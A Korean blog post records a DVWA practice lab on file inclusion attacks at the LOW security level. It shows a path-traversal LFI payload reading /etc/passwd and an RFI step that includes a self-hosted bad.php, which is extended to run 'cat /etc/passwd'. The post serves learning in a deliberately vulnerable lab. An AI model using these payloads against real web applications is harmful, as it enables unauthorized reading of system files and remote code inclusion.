about Security/웹보안과 해킹

[웹해킹 실습] # 파일 인클루전 공격

saniii 2020. 11. 12. 09:13

 

1)    LOW level

먼저 보안 레벨을 LOW로 맞추고 시작!

 

 

파일 인클루전 공격을 하기 위해 파일 인클루전 항목으로 들어가자

 

여기서의 소스코드를 확인하면 이렇게 변수 page을 통해

사용자의 입력값이 GET 메소드로 전달됨을 알 수 있다.

잊지말자 여긴 low level 이야 넘 쉽지.. 

 

 

 

페이지의 file1.php를 한 번 눌러보았다.

 

 

URL에 내가 열려고 한 파일의 이름이 변수 page에 입력됨을 확인

 

 

 

(1) LFI (로컬 파일 인클루전)

: 웹서버에 원래 존재하는 파일을 인클루드 한다.

 

+ Path Traversal 공격 : ../ 를 이용하여 상위 디렉터리로 접근하여 타 파일을 인클루드

(../ : 현재 위치보다 하나 상위의 파일로 이동)

 

URL의 page= 다음에 ../../../../../etc/passwd 를 입력하면

원래 내장되어 있는 passwd 파일을 열 수 있다.

이때 root까지 도달하면 ../가 의미 없기 때문에 ../를 최소 5번 이상 입력해야 한다.

왜냐면 실습 페이지 경로가 /var/www/dvwa/vulnerabilities/fi/index.php로 

php 얘가 들어 있는 fi 파일이 root로 부터 5번 아래 있기 때문이다.

뭐 암튼 그렇다고... 내가 궁금했다ㅎㅎ

 

 

 

 

(2) RFI (리모트 파일 인클루전)

: 원격으로 외부에 있는 파일을 인클루드

 

cd /var/www/html 으로 이동하여 vi bad.php로 파일 생성 후 php문 작성

 

- /var/www/html 디렉터리로 이동하여 

- vi 에디터를 이용해서 bad.php파일을 생성한다.

밑의 두 줄의 명령어에만 집중!!   시행착오를 겪어서...ㅎ

 

bad.php의 내용은 다음과 같이 적으면 된다.

이 파일이 인클루드 되었는 지 확인할 수 있는 문구면 된다.

 

 

이제 bad.php를 인클루드하면 위의 빨간색의 문구가 print 되어야 하는데 

자꾸... 안   나     와        ........

 

아!! 실행하는 방법은 URL의 page=뒤에

http://(localhost ip의 주소)/bad.php 를 입력하면 된다.

 

안나올때 결과

 

 

 

 

그래서 찾아봤더니 

 

service apache2 start 를 실행하면 된다고 하더라

 

왜지?!?!?! 조만간 찾아서 올린다!!!! 궁금하니까!!!

 

 

쨘!!!!이릏게 성공!

엄한데 가서 이런짓 하면 안돼....

 

 

정보를 더 알아내기 위해 bad.php에 cat /etc/passwd를 추가하자

진짜 엄한데 가서 이런 짓하면 안돼....잡혀가.....

 

 

쨘 이렇게 기존의 확인 문구와 함께 

passwd 파일이 인클루드 되었음을 알 수 있다.